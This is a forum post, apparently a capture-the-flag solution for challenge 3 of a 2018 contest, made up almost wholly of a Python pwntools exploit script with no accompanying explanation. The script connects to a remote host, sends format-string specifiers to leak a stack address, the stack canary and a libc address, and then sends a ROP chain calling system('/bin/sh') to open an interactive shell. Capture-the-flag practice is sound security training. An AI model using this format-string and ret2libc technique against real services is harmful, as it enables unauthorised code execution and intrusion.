-
-
ctf2018-第3题
-
发表于: 2018-6-20 19:52 2209
-
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 | from pwn import * # context.log_level = 'debug' target_file = './wow' context.binary = target_file libc_path = '/lib/x86_64-linux-gnu/libc.so.6' libc = ELF(libc_path) # io = process(['./linux_server64']) # io = process([target_file]) io = remote( '139.199.99.130' , 65188 ) # log.info("process base: " + hex(io.libs()[os.path.abspath(target_file)])) # log.info("process libc_base: " + hex(io.libs()[libc_path])) def test(): io.send( 'evXnaK' ) io.recvuntil( 'wow!\n' ) io.send( '%1$lx\n%13$lx\n%15$lx\n' ) stack_addr = int ( str (io.recvline()).strip(), 16 ) cookie = int ( str (io.recvline()).strip(), 16 ) libc_addr = int ( str (io.recvline()).strip(), 16 ) print ( 'stack_addr: %s' % hex (stack_addr)) print ( 'cookie: %s' % hex (cookie)) print ( 'libc_addr: %s' % hex (libc_addr)) libc_base = libc_addr - 0x20830 print ( 'libc_base: %s' % hex (libc_base)) buf = '' buf + = '1' * 32 buf + = p64( 0 ) * 7 buf + = p64(cookie) buf + = p64( 0 ) buf + = p64(libc_base + libc.search(asm( 'pop rdi;ret' )). next ()) buf + = p64(libc_base + libc.search( '/bin/sh\x00' ). next ()) buf + = p64(libc_base + libc.symbols[ 'system' ]) io.send(buf) io.interactive() return test() |
赞赏
他的文章
- KCTF2022春季赛 第三题 石像病毒 9112
- KCTF2022春季赛 第二题 末日邀请 16450
- KCTF2021秋季赛 第二题 迷失丛林 19188
- KCTF2020秋季赛 第十题 终焉之战 9199
- KCTF2020秋季赛 第九题 命悬一线 6710
赞赏
雪币:
留言: